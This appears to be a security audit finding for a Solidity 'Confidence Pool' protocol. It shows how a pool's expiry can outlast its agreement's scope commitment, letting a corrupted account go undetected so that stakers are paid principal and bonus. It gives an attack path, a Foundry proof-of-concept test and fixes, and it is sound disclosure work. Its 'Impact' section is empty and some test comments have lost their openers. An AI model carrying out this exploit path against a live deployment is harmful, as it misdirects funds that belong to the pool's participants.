Root + Impact
Summary
ConfidencePoolFactory.createPool() and ConfidencePool.initialize() allow a pool's expiry to extend beyond the underlying Safe Harbor agreement's cantChangeUntil commitment timestamp.
Once the agreement commitment expires, the agreement owner can remove an account that remains permanently locked in the pool's local scope. The account can then be rebound to another agreement and become CORRUPTED under that new binding, while the pool continues reading only the state of its original agreement.
As a result, the pool moderator cannot flag the pool as CORRUPTED, and claimExpired() can mechanically resolve the pool as EXPIRED, returning principal and bonus to stakers even though an account explicitly covered by the pool was corrupted during the pool term.
Finding Description
Pool Expiry Is Not Bounded by the Agreement Commitment
The factory only requires the pool expiry to be at least 30 days in the future:
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (
agreement == address(0)
|| stakeToken == address(0)
) {
revert ZeroAddress();
}
if (recoveryAddress == address(0)) {
revert ZeroAddress();
}
if (!allowedStakeToken[stakeToken]) {
revert StakeTokenNotAllowed();
}
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) {
revert ExpiryTooSoon();
}
if (!safeHarborRegistry.isAgreementValid(agreement)) {
revert InvalidAgreement();
}
if (IAgreement(agreement).owner() != msg.sender) {
revert UnauthorizedCreator();
}
}
There is no validation equivalent to:
expiry <= IAgreement(agreement).getCantChangeUntil()
The pool initializer has the same problem:
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) {
revert ExpiryTooSoon();
}
if (expiry_ > type(uint32).max) {
revert ExpiryTooFar();
}
agreement = agreement_;
expiry = uint32(expiry_);
}
Before the first stake, the sponsor can also change the expiry without respecting the agreement commitment:
function setExpiry(
uint256 newExpiry
) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (
newExpiry
< block.timestamp + _MIN_EXPIRY_LEAD
) {
revert ExpiryTooSoon();
}
if (newExpiry > type(uint32).max) {
revert ExpiryTooFar();
}
expiry = uint32(newExpiry);
}
The upstream AttackRegistry requires an agreement commitment of only seven days when registering an agreement:
uint256 public constant MIN_COMMITMENT = 7 days;
Its registration validation only verifies:
uint256 cantChangeUntil =
agreement.getCantChangeUntil();
uint256 minRequired =
block.timestamp + MIN_COMMITMENT;
if (cantChangeUntil < minRequired) {
revert AttackRegistry__InsufficientCommitment(
minRequired,
cantChangeUntil
);
}
By contrast, a Confidence Pool must have an expiry of at least 30 days. Therefore, the following configuration is valid:
Agreement commitment remaining: 7 days
Confidence Pool duration: 31 days
The agreement can become mutable again while the Confidence Pool is still actively underwriting its locked scope.
Agreement Accounts Can Be Removed and Rebound
After the agreement commitment expires, the agreement owner can remove accounts from its BattleChain scope:
function removeAccounts(
string memory caip2ChainId,
string[] memory accountAddresses
) external onlyOwner {
if (block.timestamp < s_cantChangeUntil) {
revert Agreement__CannotReduceScopeDuringCommitment();
}
for (
uint256 i;
i < accountAddresses.length;
++i
) {
if (isBattleChain) {
_removeFromBattleChainScope(
accountAddresses[i]
);
}
}
}
Removing an account from the BattleChain scope synchronizes the change with the AttackRegistry:
function _removeFromBattleChainScope(
string memory accountAddress
) internal {
address addr = _parseAddress(accountAddress);
if (s_battleChainScopeExists[addr]) {
s_battleChainScopeExists[addr] = false;
_syncUnregisterContract(addr);
}
}
The registry then deletes the account's binding to the original agreement:
function unregisterContractForExistingAgreement(
address contractAddress
) external {
if (
s_contractToAgreement[contractAddress]
!= msg.sender
) {
return;
}
delete s_contractToAgreement[contractAddress];
emit ContractUnregistered(
contractAddress,
msg.sender
);
}
Once the binding is deleted, the account can be registered under another agreement.
The Pool's Locked Scope Does Not Preserve the Binding
The Confidence Pool stores a local list of covered accounts:
address[] internal _scopeAccounts;
mapping(address account => bool inScope)
public isAccountInScope;
At scope-setting time, the pool only verifies that each account is reported as in scope by the original agreement:
function _replaceScope(
address[] calldata accounts
) internal {
if (accounts.length == 0) {
revert EmptyScope();
}
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (isAccountInScope[account]) {
revert DuplicateAccount(account);
}
if (
!IAgreement(agreement)
.isContractInScope(account)
) {
revert AccountNotInAgreementScope(
account
);
}
_scopeAccounts.push(account);
isAccountInScope[account] = true;
}
}
The pool does not verify that:
IAttackRegistry(attackRegistry)
.getAgreementForContract(account)
== agreement
More importantly, the pool does not preserve or revalidate the binding during settlement.
The design documentation explicitly states that the pool-local scope remains the binding commitment even if the underlying agreement is later narrowed. However, the implementation only preserves the account address, not the state source required to determine whether that account became corrupted.
Resolution Always Reads the Original Agreement
All registry observations are made using the single immutable agreement stored during initialization:
function _getAgreementState()
internal
view
returns (
IAttackRegistry.ContractState
)
{
address attackRegistry =
safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) {
revert InvalidAgreement();
}
return IAttackRegistry(attackRegistry)
.getAgreementState(agreement);
}
Suppose an account covered by the pool is moved from Agreement A to Agreement B and Agreement B becomes CORRUPTED.
The pool still reads Agreement A.
The moderator cannot flag a corrupted outcome because flagOutcome() requires the original Agreement A to be CORRUPTED:
if (
newOutcome
== PoolStates.Outcome.CORRUPTED
) {
if (
state
!= IAttackRegistry.ContractState
.CORRUPTED
) {
revert InvalidOutcome();
}
}
If Agreement A remains UNDER_ATTACK, this call reverts even though a pool-scoped account is corrupted under its current binding Agreement B.
At expiry, claimExpired() treats every nonterminal state, including UNDER_ATTACK, as EXPIRED:
if (
state
== IAttackRegistry.ContractState
.PRODUCTION
) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
} else {
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
}
claimsStarted = true;
The pool therefore pays principal and bonus to stakers instead of applying the intended CORRUPTED distribution.
Example Attack Path
Assume Agreement A contains accounts X and Y, while the Confidence Pool covers only X.
Agreement A has seven days remaining in its commitment window.
The sponsor creates a Confidence Pool with a 31-day expiry.
Alice deposits 100 tokens.
Carol contributes 50 bonus tokens.
Agreement A enters UNDER_ATTACK, permanently locking the pool scope.
After seven days, Agreement A's commitment expires.
The sponsor removes X from Agreement A.
The removal deletes the registry binding from X to Agreement A.
X is added and rebound to Agreement B.
Agreement B enters UNDER_ATTACK.
A vulnerability involving X is successfully exploited.
Agreement B is marked CORRUPTED.
Agreement A remains UNDER_ATTACK.
The pool moderator attempts to flag the pool as CORRUPTED, but the call reverts because the pool reads Agreement A.
At the 31-day pool expiry, claimExpired() observes Agreement A as UNDER_ATTACK and resolves the pool as EXPIRED.
Alice receives her 100-token principal plus the entire 50-token bonus despite the corruption of pool-scoped account X.
Risk
Likelihood:
Exploitation requires the pool expiry to exceed the agreement commitment, followed by scope removal, account rebinding, and corruption under the replacement agreement. However, the initial timing mismatch is permitted by the protocol's normal constraints because the upstream agreement requires only seven days of commitment while every pool requires a minimum 30-day expiry.
Impact:
Proof of Concept
pragma solidity 0.8.26;
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {
IConfidencePool
} from "src/interfaces/IConfidencePool.sol";
import {
PoolStates
} from "src/libraries/PoolStates.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract BindingAwareAttackRegistryMock {
mapping(
address agreement
=> IAttackRegistry.ContractState state
) internal states;
mapping(
address account => address agreement
) internal bindings;
function setAgreementState(
address agreement,
IAttackRegistry.ContractState state
) external {
states[agreement] = state;
}
function setBinding(
address account,
address agreement
) external {
bindings[account] = agreement;
}
function getAgreementState(
address agreement
)
external
view
returns (
IAttackRegistry.ContractState
)
{
return states[agreement];
}
function getAgreementForContract(
address account
) external view returns (address) {
return bindings[account];
}
}
contract ScopeCommitmentDriftPoC
is BaseConfidencePoolTest
{
function test_LockedPoolScopeCanBeReboundAndCorruptedUnderAnotherAgreement()
external
{
BindingAwareAttackRegistryMock registry =
new BindingAwareAttackRegistryMock();
address agreementB =
makeAddr("agreementB");
safeHarborRegistry.setAttackRegistry(
address(registry)
);
* Model a valid production configuration:
*
* - The upstream agreement commitment can be only 7 days.
* - The pool created by BaseConfidencePoolTest expires
* after 31 days.
*/
uint256 agreementCommitmentEnd =
block.timestamp + 7 days;
assertLt(
agreementCommitmentEnd,
uint256(pool.expiry()),
"test requires commitment < pool expiry"
);
* Agreement A initially governs the account included in
* the pool's published scope.
*/
registry.setBinding(
DEFAULT_SCOPE_ACCOUNT,
agreement
);
registry.setAgreementState(
agreement,
IAttackRegistry.ContractState
.UNDER_ATTACK
);
* Alice deposits 100 principal and Carol contributes
* 50 bonus.
*
* stake() observes UNDER_ATTACK, opens the risk window,
* and permanently locks the pool-local scope.
*/
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
assertTrue(pool.scopeLocked());
assertTrue(
pool.isAccountInScope(
DEFAULT_SCOPE_ACCOUNT
)
);
assertGt(pool.riskWindowStart(), 0);
assertEq(
token.balanceOf(address(pool)),
150 * ONE
);
* Once Agreement A's independent commitment expires,
* its owner is permitted to remove the account.
*/
vm.warp(agreementCommitmentEnd);
* Model Agreement.removeAccounts():
*
* - Agreement A no longer reports the account in scope.
* - AttackRegistry no longer binds the account to A.
*
* The Confidence Pool's local scope remains permanently
* locked and still represents that the account is covered.
*/
agreementContract.setContractInScope(
DEFAULT_SCOPE_ACCOUNT,
false
);
registry.setBinding(
DEFAULT_SCOPE_ACCOUNT,
address(0)
);
assertTrue(
pool.isAccountInScope(
DEFAULT_SCOPE_ACCOUNT
),
"pool scope unexpectedly changed"
);
assertFalse(
agreementContract.isContractInScope(
DEFAULT_SCOPE_ACCOUNT
)
);
* The same account is subsequently registered and bound
* to Agreement B.
*/
registry.setBinding(
DEFAULT_SCOPE_ACCOUNT,
agreementB
);
registry.setAgreementState(
agreementB,
IAttackRegistry.ContractState
.UNDER_ATTACK
);
assertEq(
registry.getAgreementForContract(
DEFAULT_SCOPE_ACCOUNT
),
agreementB
);
* The pool-scoped account is successfully attacked while
* governed by Agreement B.
*/
registry.setAgreementState(
agreementB,
IAttackRegistry.ContractState
.CORRUPTED
);
* Agreement A remains UNDER_ATTACK.
*
* ConfidencePool reads only Agreement A and therefore
* cannot observe the corruption of the account under its
* current binding Agreement B.
*/
assertEq(
uint256(
registry.getAgreementState(
agreement
)
),
uint256(
IAttackRegistry.ContractState
.UNDER_ATTACK
)
);
assertEq(
uint256(
registry.getAgreementState(
agreementB
)
),
uint256(
IAttackRegistry.ContractState
.CORRUPTED
)
);
* The immutable pool moderator cannot report the genuine
* in-scope corruption because flagOutcome(CORRUPTED)
* validates Agreement A rather than the account's current
* binding Agreement B.
*/
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
* At pool expiry, Agreement A is still UNDER_ATTACK.
* claimExpired() therefore mechanically selects EXPIRED.
*/
vm.warp(uint256(pool.expiry()));
uint256 aliceBalanceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(
PoolStates.Outcome.EXPIRED
)
);
* Alice improperly receives:
*
* - 100 tokens of principal; and
* - all 50 tokens of bonus.
*
* The pool-scoped account was corrupted during the term,
* so this distribution should not have been reachable.
*/
assertEq(
token.balanceOf(alice)
- aliceBalanceBefore,
150 * ONE
);
assertEq(
token.balanceOf(address(pool)),
0
);
}
}
Recommended Mitigation
The pool expiry must never exceed the timestamp until which the underlying agreement's scope is guaranteed to remain immutable.
Add the following validation to ConfidencePoolFactory.createPool():
uint256 cantChangeUntil =
IAgreement(agreement)
.getCantChangeUntil();
if (expiry > cantChangeUntil) {
revert ExpiryExceedsAgreementCommitment(
expiry,
cantChangeUntil
);
}
The same invariant should be enforced in ConfidencePool.initialize() so an alternative or upgraded factory cannot bypass it:
uint256 cantChangeUntil =
IAgreement(agreement_)
.getCantChangeUntil();
if (expiry_ > cantChangeUntil) {
revert ExpiryExceedsAgreementCommitment(
expiry_,
cantChangeUntil
);
}
setExpiry() must also prevent the sponsor from extending an unstaked pool beyond the agreement commitment:
function setExpiry(
uint256 newExpiry
) external onlyOwner {
if (expiryLocked) {
revert ExpiryLocked();
}
if (
newExpiry
< block.timestamp + _MIN_EXPIRY_LEAD
) {
revert ExpiryTooSoon();
}
if (newExpiry > type(uint32).max) {
revert ExpiryTooFar();
}
uint256 cantChangeUntil =
IAgreement(agreement)
.getCantChangeUntil();
if (newExpiry > cantChangeUntil) {
revert ExpiryExceedsAgreementCommitment(
newExpiry,
cantChangeUntil
);
}
uint256 oldExpiry = expiry;
expiry = uint32(newExpiry);
emit ExpiryUpdated(
oldExpiry,
newExpiry
);
}
As defense in depth, the pool should also verify at initialization and first stake that every covered account is currently bound to the configured agreement:
address attackRegistry =
safeHarborRegistry.getAttackRegistry();
if (
IAttackRegistry(attackRegistry)
.getAgreementForContract(account)
!= agreement
) {
revert AccountNotBoundToAgreement(
account,
agreement
);
}